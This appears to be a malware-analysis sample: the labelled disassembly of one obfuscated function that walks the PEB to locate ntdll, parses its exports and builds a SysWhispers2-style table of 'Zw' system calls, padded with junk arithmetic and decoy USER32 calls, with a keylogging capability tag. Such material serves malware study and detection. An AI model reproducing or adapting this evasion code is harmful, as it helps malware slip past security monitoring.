Function at 0x40ecb9
Capabilities:
Log keystrokes via polling
Populate syswhispers2 syscall list
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x74
movzx eax, byte [0x4170ea]
movzx eax, al
sub eax, 0x63c3d01a
mov dword [0x4170ec], eax
movzx eax, word [0x4170e8]
or eax, 0x6a
mov byte [0x4170e4], al
mov eax, dword [0x4170ec]
or ax, 0x3742
mov word [0x4170f0], ax
movzx eax, byte [0x4170e5]
sub eax, 0x52
mov byte [0x4170ea], al
movzx eax, byte [0x4170e5]
movzx eax, al
xor eax, 0x1454374c
mov dword [0x4170ec], eax
movzx eax, byte [0x4170e4]
movzx eax, al
add eax, 0x69deffb4
mov dword [0x4170ec], eax
movzx eax, byte [0x4170e6]
and eax, 0xffffffd5
mov byte [0x4170e4], al
mov eax, dword [0x41b040]
test eax, eax
je 0x40edc0
movzx eax, byte [0x4170e6]
movzx eax, al
or ax, 0x3b5d
mov word [0x4170e8], ax
mov eax, dword [0x4170f4]
xor eax, 0x8636825b
mov dword [0x4170f4], eax
mov eax, dword [0x4170ec]
sub eax, 0x2e
mov byte [0x4170e5], al
mov eax, dword [0x4170f4]
add eax, 0x5b
mov byte [0x4170e5], al
movzx eax, word [0x4170e8]
add eax, 0x24
mov byte [0x4170e6], al
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], 0xa0
mov eax, dword [sym.imp.USER32.dll_RedrawWindow]
call eax
sub esp, 0x10
mov eax, 1
jmp 0x40ff3e
mov eax, dword [0x4170ec]
add eax, 0x552d1374
mov dword [0x4170ec], eax
movzx eax, word [0x4170f0]
movzx eax, ax
and eax, 0xfe6896b4
mov dword [0x4170f4], eax
movzx eax, word [0x4170e8]
add eax, 0x75
mov byte [0x4170e4], al
mov dword [ebp - 0x58], 0x30
mov eax, dword [ebp - 0x58]
mov eax, dword fs:[eax]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0x5c]
mov dword [ebp - 0x28], eax
movzx eax, byte [0x4170ea]
movzx eax, al
and eax, 0x163a1675
mov dword [0x4170f4], eax
movzx eax, byte [0x4170e4]
movzx eax, al
imul ax, ax, 0x1b53
mov word [0x4170e8], ax
mov eax, dword [0x4170f4]
or eax, 0xffffffde
mov byte [0x4170e4], al
mov eax, dword [0x4170f4]
imul eax, eax, 0x70fc8689
mov dword [0x4170ec], eax
movzx eax, byte [0x4170ea]
mov edx, 0xffffff98
imul eax, edx
mov byte [0x4170e5], al
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x2c], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
mov eax, dword [0x4170ec]
and eax, 0xdd07645f
mov dword [0x4170f4], eax
movzx eax, word [0x4170f0]
movzx eax, ax
or eax, 0x4193aece
mov dword [0x4170ec], eax
mov eax, dword [0x4170ec]
mov edx, 0x56
imul eax, edx
mov byte [0x4170e4], al
mov dword [ebp - 0xc], 0
movzx eax, word [0x4170e8]
or eax, 0xffffffb2
mov byte [0x4170e6], al
movzx eax, byte [0x4170ea]
add eax, 0x76
mov byte [0x4170e5], al
movzx edx, byte [0x4170e5]
mov eax, edx
shl eax, 2
add eax, edx
shl eax, 3
add eax, edx
mov byte [0x4170e4], al
movzx eax, word [0x4170e8]
sub eax, 0x44
mov byte [0x4170e6], al
mov dword [ebp - 0x10], 0
movzx eax, word [0x4170f0]
sub eax, 0x4c
mov byte [0x4170e5], al
movzx eax, word [0x4170e8]
sub eax, 0x71
mov byte [0x4170e5], al
mov dword [esp], 0xa9
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
movzx eax, byte [0x4170e5]
add eax, 0x1c
mov byte [0x4170e4], al
movzx eax, byte [0x4170e6]
and eax, 0x60
mov byte [0x4170e6], al
mov eax, dword [0x4170f4]
sub ax, 0x1bc
mov word [0x4170e8], ax
movzx eax, byte [0x4170e5]
sub eax, 0x72
mov byte [0x4170e5], al
mov eax, dword [0x4170ec]
mov edx, 0x4c
imul eax, edx
mov byte [0x4170e6], al
mov eax, dword [ebp - 0x2c]
mov eax, dword [eax + 0xc]
mov dword [ebp - 0x14], eax
jmp 0x40f011
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [eax + 0x3c]
mov edx, eax
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0x34], eax
mov eax, dword [ebp - 0x34]
add eax, 0x78
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0
je 0x40f005
mov edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x3c]
add eax, edx
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0xc]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax]
or eax, 0x20202020
cmp eax, 0x6c64746e
jne 0x40f008
mov eax, dword [ebp - 0x40]
add eax, 4
mov eax, dword [eax]
or eax, 0x20202020
cmp eax, 0x6c642e6c
je 0x40f021
jmp 0x40f009
nop
jmp 0x40f009
nop
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x14]
mov eax, dword [eax + 0x18]
test eax, eax
jne 0x40ef8f
jmp 0x40f022
nop
mov eax, dword [0x4170ec]
imul ax, ax, 0x2515
mov word [0x4170f0], ax
movzx eax, byte [0x4170ea]
movzx eax, al
add ax, 0x1bdb
mov word [0x4170e8], ax
movzx eax, byte [0x4170ea]
sub eax, 0x7d
mov byte [0x4170e6], al
cmp dword [ebp - 0xc], 0
jne 0x40f0bf
movzx eax, byte [0x4170e6]
and eax, 0xfffffffe
mov byte [0x4170e5], al
movzx eax, byte [0x4170ea]
mov edx, 0x3c
imul eax, edx
mov byte [0x4170e6], al
mov eax, dword [0x4170ec]
sub ax, 0x45ad
mov word [0x4170f0], ax
movzx eax, byte [0x4170e6]
movzx eax, al
sub eax, 0x3ccb8d69
mov dword [0x4170ec], eax
movzx eax, word [0x4170e8]
movzx eax, ax
sub eax, 0x77d775bc
mov dword [0x4170f4], eax
mov eax, 0
jmp 0x40ff3e
movzx eax, byte [0x4170ea]
movzx eax, al
and eax, 0xa6d3ea94
mov dword [0x4170f4], eax
movzx eax, byte [0x4170e6]
add eax, 0x57
mov byte [0x4170e5], al
movzx eax, byte [0x4170ea]
or eax, 0x50
mov byte [0x4170e5], al
movzx eax, byte [0x4170ea]
xor eax, 0xfffffff3
mov byte [0x4170e5], al
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x18]
mov dword [ebp - 0x18], eax
mov eax, dword [0x4170f4]
mov edx, 0xffffffcd
imul eax, edx
mov byte [0x4170e5], al
movzx eax, word [0x4170f0]
add ax, 0x5894
mov word [0x4170e8], ax
movzx eax, word [0x4170e8]
add eax, 0x37
mov byte [0x4170e6], al
movzx eax, byte [0x4170e5]
xor eax, 0x2d
mov byte [0x4170e4], al
mov eax, dword [0x4170f4]
sub ax, 0x7aea
mov word [0x4170e8], ax
movzx eax, byte [0x4170ea]
sub eax, 0x1a
mov byte [0x4170ea], al
mov eax, dword [0x4170f4]
and eax, 0x41
mov byte [0x4170ea], al
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0x44], eax
mov eax, dword [0x4170ec]
mov edx, 0xffffffa2
imul eax, edx
mov byte [0x4170e6], al
movzx eax, byte [0x4170e5]
movzx eax, al
and eax, 0x313e944b
mov dword [0x4170ec], eax
mov eax, dword [0x4170ec]
add eax, 0x3e
mov byte [0x4170e4], al
movzx eax, word [0x4170e8]
mov edx, 0xffffffce
imul eax, edx
mov byte [0x4170e5], al
movzx eax, byte [0x4170e4]
movzx eax, al
and eax, 0x1d41cf85
mov dword [0x4170f4], eax
mov eax, dword [0x4170ec]
xor ax, 0x349f
mov word [0x4170f0], ax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x20]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0x48], eax
mov eax, dword [0x4170f4]
and ax, 0xedbb
mov word [0x4170e8], ax
movzx eax, byte [0x4170ea]
and eax, 0xc
mov byte [0x4170e4], al
mov eax, dword [0x4170ec]
or eax, 0xffffffbd
mov byte [0x4170e4], al
movzx eax, word [0x4170e8]
sub ax, 0x726e
mov word [0x4170e8], ax
movzx eax, byte [0x4170e4]
or eax, 8
mov byte [0x4170e4], al
mov eax, dword [0x4170ec]
add eax, 0x51
mov byte [0x4170e6], al
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x24]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0x4c], eax
movzx eax, byte [0x4170ea]
sub eax, 0x6c
mov byte [0x4170e4], al
mov eax, dword [0x4170f4]
add eax, 0x3e
mov byte [0x4170e6], al
movzx eax, byte [0x4170ea]
movzx eax, al
and eax, 0xb8519e41
mov dword [0x4170f4], eax
mov eax, dword [0x4170f4]
and eax, 0x57
mov byte [0x4170ea], al
movzx eax, byte [0x4170e5]
xor eax, 0xffffffa9
mov byte [0x4170e4], al
movzx eax, byte [0x4170e5]
movzx eax, al
and eax, 0x2642b102
mov dword [0x4170f4], eax
movzx eax, byte [0x4170e4]
movzx eax, al
sub ax, 0x772e
mov word [0x4170f0], ax
mov dword [ebp - 0x1c], 0
movzx eax, word [0x4170f0]
and eax, 0xffffffd3
mov byte [0x4170e5], al
movzx eax, word [0x4170f0]
xor eax, 0xffffffc6
mov byte [0x4170ea], al
movzx eax, byte [0x4170ea]
movzx eax, al
add eax, 0x7a05f555
mov dword [0x4170f4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
mov dword [ebp - 0x50], 0x41b044
movzx eax, byte [0x4170e5]
mov edx, 0x27
imul eax, edx
mov byte [0x4170e4], al
mov dword [esp], 7
mov eax, dword [sym.imp.USER32.dll_GetDC]
call eax
sub esp, 4
movzx eax, word [0x4170e8]
add eax, 0x7a
mov byte [0x4170ea], al
movzx eax, byte [0x4170e6]
movzx eax, al
xor ax, 0x86ec
mov word [0x4170f0], ax
movzx eax, byte [0x4170e5]
movzx eax, al
imul ax, ax, 0xd419
mov word [0x4170e8], ax
movzx eax, byte [0x4170e6]
and eax, 0x1f
mov byte [0x4170e4], al
movzx eax, byte [0x4170e6]
and eax, 0x1c
mov byte [0x4170e5], al
movzx eax, word [0x4170e8]
movzx eax, ax
xor eax, 0x54340cbf
mov dword [0x4170ec], eax
movzx eax, byte [0x4170e5]
movzx eax, al
and eax, 0xfa8faab7
mov dword [0x4170ec], eax
movzx eax, byte [0x4170ea]
mov edx, 0xfffffff6
imul eax, edx
mov byte [0x4170e5], al
movzx eax, word [0x4170e8]
xor ax, 0xe561
mov word [0x4170e8], ax
mov eax, dword [0x4170f4]
and ax, 0x769d
mov word [0x4170e8], ax
mov eax, dword [0x4170ec]
mov edx, 0xffffff97
imul eax, edx
mov byte [0x4170ea], al
movzx eax, byte [0x4170e5]
add eax, 0x76
mov byte [0x4170e4], al
mov eax, dword [ebp - 0x18]
add eax, 0x3fffffff
lea edx, [eax*4]
mov eax, dword [ebp - 0x48]
add eax, edx
mov edx, dword [eax]
mov eax, dword [ebp - 0x10]
add eax, edx
mov dword [ebp - 0x54], eax
movzx eax, byte [0x4170e5]
xor eax, 0xffffffab
mov byte [0x4170ea], al
mov dword [esp], 0x90
mov eax, dword [sym.imp.USER32.dll_GetSysColorBrush]
call eax
sub esp, 4
mov eax, dword [0x4170ec]
or eax, 0xffffffcc
mov byte [0x4170e6], al
mov eax, dword [0x4170f4]
or eax, 0x43
mov byte [0x4170ea], al
mov eax, dword [0x4170f4]
xor ax, 0x7ff9
mov word [0x4170f0], ax
mov eax, dword [ebp - 0x54]
movzx eax, word [eax]
cmp ax, 0x775a
jne 0x40f7e0
movzx eax, byte [0x4170e5]
movzx eax, al
and eax, 0x921dbb13
mov dword [0x4170ec], eax
movzx eax, word [0x4170f0]
xor eax, 0xffffffb6
mov byte [0x4170e6], al
movzx eax, word [0x4170f0]
add ax, 0x7cad
mov word [0x4170f0], ax
movzx eax, byte [0x4170e5]
movzx eax, al
and ax, 0x217d
mov word [0x4170f0], ax
movzx eax, word [0x4170e8]
sub eax, 0x4d
mov byte [0x4170ea], al
mov eax, dword [0x4170ec]
and eax, 0xa811b543
mov dword [0x4170ec], eax
movzx eax, word [0x4170f0]
movzx eax, ax
sub eax, 0x778058dd
mov dword [0x4170f4], eax
movzx eax, word [0x4170e8]
and eax, 0xffffffce
mov byte [0x4170e4], al
mov eax, dword [0x4170f4]
xor eax, 0xdbeca816
mov dword [0x4170f4], eax
movzx eax, byte [0x4170e5]
and eax, 0x42
mov byte [0x4170e5], al
mov eax, dword [0x4170f4]
and eax, 0xfc8a511d
mov dword [0x4170ec], eax
mov edx, dword [ebp - 0x1c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
lea ebx, [edx + eax]
mov eax, dword [ebp - 0x54]
mov dword [esp], eax
call fcn.0040cb81
mov dword [ebx], eax
movzx eax, byte [0x4170ea]
mov edx, 0x78
imul eax, edx
mov byte [0x4170e6], al
mov eax, dword [0x4170f4]
xor eax, 0x24
mov byte [0x4170ea], al
mov dword [esp], 0x41
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
mov eax, dword [0x4170ec]
mov edx, eax
mov eax, edx
shl eax, 4
sub eax, edx
mov byte [0x4170e6], al
movzx eax, byte [0x4170ea]
or eax, 0xffffffcf
mov byte [0x4170e4], al
movzx eax, byte [0x4170ea]
mov edx, 0xffffffb6
imul eax, edx
mov byte [0x4170ea], al
mov dword [esp], 0x17
mov eax, dword [sym.imp.USER32.dll_GetSysColorBrush]
call eax
sub esp, 4
mov eax, dword [0x4170ec]
add ax, 0x6a99
mov word [0x4170e8], ax
mov eax, dword [ebp - 0x18]
add eax, 0x7fffffff
lea edx, [eax + eax]
mov eax, dword [ebp - 0x4c]
add eax, edx
movzx eax, word [eax]
movzx eax, ax
lea edx, [eax*4]
mov eax, dword [ebp - 0x44]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x1c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add edx, eax
mov eax, dword [ecx]
mov dword [edx + 4], eax
mov edx, dword [ebp - 0x1c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add eax, edx
mov edx, dword [eax + 4]
mov eax, dword [ebp - 0x10]
add eax, edx
mov ecx, eax
mov edx, dword [ebp - 0x1c]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
lea ebx, [edx + eax]
mov dword [esp], ecx
call fcn.00404d8f
mov dword [ebx + 8], eax
movzx eax, word [0x4170e8]
sub eax, 0x17
mov byte [0x4170e4], al
mov eax, dword [0x4170ec]
xor eax, 0x6a
mov byte [0x4170e5], al
movzx eax, word [0x4170e8]
xor ax, 0xe849
mov word [0x4170f0], ax
mov dword [esp], 0xa7
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
movzx eax, byte [0x4170e6]
or eax, 0x42
mov byte [0x4170e4], al
mov dword [esp], 0xa1
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
movzx eax, byte [0x4170e5]
add eax, 0x6f
mov byte [0x4170ea], al
add dword [ebp - 0x1c], 1
movzx eax, byte [0x4170ea]
mov edx, 0xffffff87
imul eax, edx
mov byte [0x4170ea], al
movzx eax, byte [0x4170ea]
xor eax, 0xffffff9c
mov byte [0x4170e5], al
movzx eax, byte [0x4170e6]
sub eax, 0x59
mov byte [0x4170e5], al
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
movzx eax, word [0x4170f0]
mov edx, 0x76
imul eax, edx
mov byte [0x4170ea], al
movzx eax, byte [0x4170e4]
xor eax, 0x5b
mov byte [0x4170e4], al
mov dword [esp + 4], 0
mov dword [esp], 9
mov eax, dword [sym.imp.USER32.dll_GetSystemMenu]
call eax
sub esp, 8
movzx eax, byte [0x4170e6]
movzx eax, al
or eax, 0xf57b1ab
mov dword [0x4170f4], eax
cmp dword [ebp - 0x1c], 0x1f4
jne 0x40f7e0
movzx eax, byte [0x4170ea]
movzx eax, al
xor eax, 0x9ca3bfc8
mov dword [0x4170f4], eax
movzx eax, byte [0x4170e5]
mov edx, 0xffffffe9
imul eax, edx
mov byte [0x4170ea], al
movzx eax, byte [0x4170e5]
and eax, 0xffffffde
mov byte [0x4170e5], al
movzx eax, byte [0x4170e6]
add eax, 0xe
mov byte [0x4170ea], al
movzx eax, byte [0x4170e5]
and eax, 0xfffffffc
mov byte [0x4170e6], al
jmp 0x40f7f3
sub dword [ebp - 0x18], 1
cmp dword [ebp - 0x18], 0
setne al
test al, al
jne 0x40f35a
mov eax, dword [0x4170ec]
imul ax, ax, 0x4bba
mov word [0x4170f0], ax
movzx eax, byte [0x4170e4]
and eax, 0x1a
mov byte [0x4170e5], al
mov dword [esp + 4], 0
mov dword [esp], 0xea
mov eax, dword [sym.imp.USER32.dll_GetIconInfo]
call eax
sub esp, 8
mov eax, dword [0x4170ec]
or ax, 0x3a9b
mov word [0x4170e8], ax
movzx eax, byte [0x4170e5]
and eax, 0x2c
mov byte [0x4170e4], al
movzx eax, word [0x4170f0]
and eax, 0xffffffd1
mov byte [0x4170e5], al
mov eax, dword [0x4170f4]
sub eax, 0x5a
mov byte [0x4170e6], al
mov eax, dword [ebp - 0x1c]
mov dword [0x41b040], eax
mov eax, dword [0x4170ec]
and eax, 0xa7bc813c
mov dword [0x4170ec], eax
movzx eax, byte [0x4170e5]
or eax, 0x40
mov byte [0x4170e6], al
movzx eax, byte [0x4170e4]
xor eax, 0xffffffcc
mov byte [0x4170e6], al
movzx eax, byte [0x4170e5]
movzx eax, al
add ax, 0xc15
mov word [0x4170f0], ax
movzx eax, byte [0x4170ea]
shl eax, 4
mov byte [0x4170e5], al
movzx eax, byte [0x4170e4]
movzx eax, al
and ax, 0x3afe
mov word [0x4170f0], ax
movzx eax, byte [0x4170e6]
add eax, 0x7a
mov byte [0x4170e6], al
movzx eax, word [0x4170e8]
sub ax, 0x9d9
mov word [0x4170f0], ax
mov dword [ebp - 0x20], 0
jmp 0x40ff28
movzx eax, word [0x4170f0]
xor eax, 0x17
mov byte [0x4170e5], al
movzx eax, byte [0x4170ea]
movzx eax, al
add ax, 0x6433
mov word [0x4170e8], ax
movzx eax, byte [0x4170e5]
movzx eax, al
or ax, 0xd75c
mov word [0x4170e8], ax
movzx eax, byte [0x4170ea]
xor eax, 0xffffff94
mov byte [0x4170ea], al
movzx eax, byte [0x4170ea]
xor eax, 0xffffff8d
mov byte [0x4170ea], al
movzx eax, word [0x4170e8]
movzx eax, ax
sub eax, 0x2ace98d6
mov dword [0x4170ec], eax
movzx eax, word [0x4170f0]
xor eax, 0x5f
mov byte [0x4170e5], al
movzx eax, word [0x4170e8]
xor eax, 0x65
mov byte [0x4170e4], al
mov eax, dword [0x4170ec]
sub ax, 0x5ba6
mov word [0x4170f0], ax
movzx eax, byte [0x4170e4]
movzx eax, al
sub ax, 0x423a
mov word [0x4170e8], ax
mov dword [ebp - 0x24], 0
jmp 0x40ff10
movzx eax, word [0x4170f0]
add eax, 0x58
mov byte [0x4170e5], al
mov eax, dword [0x4170ec]
mov edx, 0xffffff89
imul eax, edx
mov byte [0x4170e6], al
movzx eax, word [0x4170f0]
movzx eax, ax
imul eax, eax, 0x9ce1ea87
mov dword [0x4170f4], eax
mov eax, dword [0x4170ec]
add eax, 0x6c
mov byte [0x4170e4], al
movzx eax, byte [0x4170e5]
add eax, 0x34
mov byte [0x4170e4], al
movzx eax, byte [0x4170e6]
movzx eax, al
add eax, 0x57bd2d6c
mov dword [0x4170ec], eax
movzx eax, word [0x4170f0]
sub eax, 0x6f
mov byte [0x4170e4], al
mov edx, dword [ebp - 0x24]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add eax, edx
mov ecx, dword [eax + 4]
mov eax, dword [ebp - 0x24]
lea edx, [eax + 1]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add eax, edx
mov eax, dword [eax + 4]
cmp eax, ecx
jae 0x40ff0c
movzx eax, byte [0x4170e6]
movzx eax, al
add ax, 0x681f
mov word [0x4170f0], ax
movzx eax, byte [0x4170e4]
or eax, 0xffffff90
mov byte [0x4170e6], al
movzx eax, byte [0x4170e4]
sub eax, 0xa
mov byte [0x4170e6], al
mov eax, dword [0x4170ec]
sub eax, 0x77
mov byte [0x4170e5], al
movzx eax, byte [0x4170e6]
movzx eax, al
sub eax, 0x21418505
mov dword [0x4170f4], eax
mov dword [esp], 0x83
mov eax, dword [sym.imp.USER32.dll_IsWindow]
call eax
sub esp, 4
movzx eax, word [0x4170f0]
movzx eax, ax
or eax, 0xeee90cca
mov dword [0x4170ec], eax
movzx eax, word [0x4170f0]
movzx eax, ax
and eax, 0x115ece8b
mov dword [0x4170ec], eax
movzx eax, byte [0x4170e5]
and eax, 0xffffffb2
mov byte [0x4170e4], al
mov eax, dword [0x4170f4]
or eax, 0xffffff95
mov byte [0x4170e4], al
movzx eax, word [0x4170e8]
mov edx, 0xffffffeb
imul eax, edx
mov byte [0x4170ea], al
mov eax, dword [0x4170ec]
or ax, 0x58de
mov word [0x4170e8], ax
movzx eax, word [0x4170f0]
mov edx, 0x39
imul eax, edx
mov byte [0x4170e4], al
mov edx, dword [ebp - 0x24]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add eax, edx
mov eax, dword [eax]
mov dword [ebp - 0x68], eax
mov eax, dword [0x4170ec]
and ax, 0x1c8
mov word [0x4170f0], ax
movzx eax, byte [0x4170ea]
movzx eax, al
or ax, 0xb3aa
mov word [0x4170f0], ax
movzx eax, word [0x4170f0]
movzx eax, ax
imul eax, eax, 0x1865890e
mov dword [0x4170f4], eax
mov edx, dword [ebp - 0x24]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add eax, edx
mov eax, dword [eax + 4]
mov dword [ebp - 0x64], eax
mov eax, dword [0x4170ec]
or eax, 0xe545b0ae
mov dword [0x4170ec], eax
movzx eax, word [0x4170e8]
movzx eax, ax
xor eax, 0x894ba9e9
mov dword [0x4170f4], eax
movzx eax, byte [0x4170ea]
xor eax, 0xffffff95
mov byte [0x4170e5], al
mov edx, dword [ebp - 0x24]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add eax, edx
mov eax, dword [eax + 8]
mov dword [ebp - 0x60], eax
movzx eax, word [0x4170e8]
movzx eax, ax
or eax, 0x638b6b59
mov dword [0x4170ec], eax
mov eax, dword [0x4170ec]
and eax, 0x30
mov byte [0x4170e5], al
movzx eax, byte [0x4170ea]
and eax, 0x4a
mov byte [0x4170e4], al
mov eax, dword [ebp - 0x24]
lea edx, [eax + 1]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x24]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add edx, eax
mov eax, dword [ecx]
mov dword [edx], eax
movzx eax, byte [0x4170e4]
xor eax, 0x3d
mov byte [0x4170e5], al
movzx eax, byte [0x4170e6]
xor eax, 0x2d
mov byte [0x4170ea], al
movzx eax, byte [0x4170e4]
movzx eax, al
imul ax, ax, 0x8dda
mov word [0x4170f0], ax
movzx eax, byte [0x4170e5]
and eax, 0x77
mov byte [0x4170ea], al
movzx eax, byte [0x4170e6]
movzx eax, al
add ax, 0x2a3c
mov word [0x4170f0], ax
mov eax, dword [ebp - 0x24]
lea edx, [eax + 1]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x24]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add edx, eax
mov eax, dword [ecx + 4]
mov dword [edx + 4], eax
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
movzx eax, byte [0x4170e4]
sub eax, 0x5e
mov byte [0x4170e4], al
mov eax, dword [0x4170ec]
add eax, 0x37127169
mov dword [0x4170f4], eax
movzx eax, byte [0x4170e6]
movzx eax, al
add eax, 0x6833f617
mov dword [0x4170ec], eax
mov eax, dword [0x4170f4]
sub eax, 0x7ded3f75
mov dword [0x4170f4], eax
mov eax, dword [ebp - 0x24]
lea edx, [eax + 1]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
lea ecx, [edx + eax]
mov edx, dword [ebp - 0x24]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add edx, eax
mov eax, dword [ecx + 8]
mov dword [edx + 8], eax
mov eax, dword [0x4170ec]
mov edx, 0x2b
imul eax, edx
mov byte [0x4170ea], al
movzx eax, byte [0x4170e5]
mov edx, 0x4d
imul eax, edx
mov byte [0x4170e6], al
mov eax, dword [0x4170f4]
add eax, 0x12e2aba5
mov dword [0x4170f4], eax
movzx eax, word [0x4170f0]
mov edx, eax
mov eax, edx
shl eax, 3
add eax, edx
add eax, eax
add eax, edx
mov byte [0x4170e6], al
mov dword [esp], 0
mov eax, dword [sym.imp.USER32.dll_GetKeyboardState]
call eax
sub esp, 4
mov eax, dword [0x4170f4]
and eax, 0x2a
mov byte [0x4170e5], al
movzx eax, word [0x4170e8]
and ax, 0xc519
mov word [0x4170f0], ax
movzx eax, byte [0x4170e4]
shl eax, 5
mov byte [0x4170e5], al
mov eax, dword [ebp - 0x24]
lea edx, [eax + 1]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add edx, eax
mov eax, dword [ebp - 0x68]
mov dword [edx], eax
movzx eax, word [0x4170e8]
or eax, 0xffffffe5
mov byte [0x4170ea], al
movzx eax, byte [0x4170ea]
and eax, 0xffffffe6
mov byte [0x4170e4], al
mov eax, dword [0x4170ec]
sub eax, 0x29
mov byte [0x4170e6], al
mov eax, dword [0x4170f4]
or eax, 0x5c0a9c69
mov dword [0x4170ec], eax
mov eax, dword [0x4170f4]
xor eax, 0x818cddbb
mov dword [0x4170f4], eax
mov eax, dword [0x4170ec]
mov edx, eax
mov eax, edx
shl eax, 2
add eax, edx
add eax, eax
mov byte [0x4170e4], al
mov eax, dword [ebp - 0x24]
lea edx, [eax + 1]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add edx, eax
mov eax, dword [ebp - 0x64]
mov dword [edx + 4], eax
mov eax, dword [0x4170ec]
and eax, 0xee232368
mov dword [0x4170f4], eax
movzx eax, byte [0x4170e4]
mov edx, 0xffffffb0
imul eax, edx
mov byte [0x4170ea], al
mov eax, dword [0x4170ec]
or eax, 7
mov byte [0x4170e6], al
movzx eax, byte [0x4170e5]
movzx eax, al
imul eax, eax, 0xba8cd318
mov dword [0x4170f4], eax
movzx eax, byte [0x4170e4]
or eax, 0xffffffb2
mov byte [0x4170ea], al
movzx eax, byte [0x4170e5]
and eax, 0xffffff81
mov byte [0x4170e6], al
movzx eax, byte [0x4170e4]
movzx eax, al
sub eax, 0x1ef9293c
mov dword [0x4170f4], eax
mov eax, dword [ebp - 0x24]
lea edx, [eax + 1]
mov eax, edx
add eax, eax
add eax, edx
shl eax, 2
mov edx, eax
mov eax, dword [ebp - 0x50]
add edx, eax
mov eax, dword [ebp - 0x60]
mov dword [edx + 8], eax
add dword [ebp - 0x24], 1
mov eax, dword [0x41b040]
sub eax, dword [ebp - 0x20]
sub eax, 1
cmp dword [ebp - 0x24], eax
jb 0x40f9b3
add dword [ebp - 0x20], 1
mov eax, dword [0x41b040]
sub eax, 1
cmp dword [ebp - 0x20], eax
jb 0x40f8fd
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret